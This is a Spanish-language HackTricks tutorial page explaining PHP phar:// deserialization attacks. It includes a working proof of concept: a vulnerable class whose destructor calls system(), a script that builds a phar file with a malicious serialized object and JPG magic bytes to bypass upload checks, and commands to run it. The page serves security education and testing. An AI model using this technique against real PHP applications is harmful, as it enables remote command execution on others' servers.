phar:// deserialization
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo que, al ser analizados, estos metadatos son deserializados y puedes intentar abusar de una vulnerabilidad de deserialización dentro del código PHP.
Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().
Así que, imagina una situación en la que puedes hacer que un web PHP obtenga el tamaño de un archivo arbitrario utilizando el protocolo phar://, y dentro del código encuentras una clase similar a la siguiente:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
Puedes crear un archivo phar que, al ser cargado, abuse de esta clase para ejecutar comandos arbitrarios con algo como:
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Tenga en cuenta cómo los bytes mágicos de JPG (\xff\xd8\xff) se agregan al principio del archivo phar para eludir posibles restricciones de carga de archivos.
Compile el archivo test.phar con:
php --define phar.readonly=0 create_phar.php
Y ejecuta el comando whoami abusando del código vulnerable con:
php vuln.php
Referencias
https://blog.ripstech.com/2018/new-php-exploitation-technique/
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


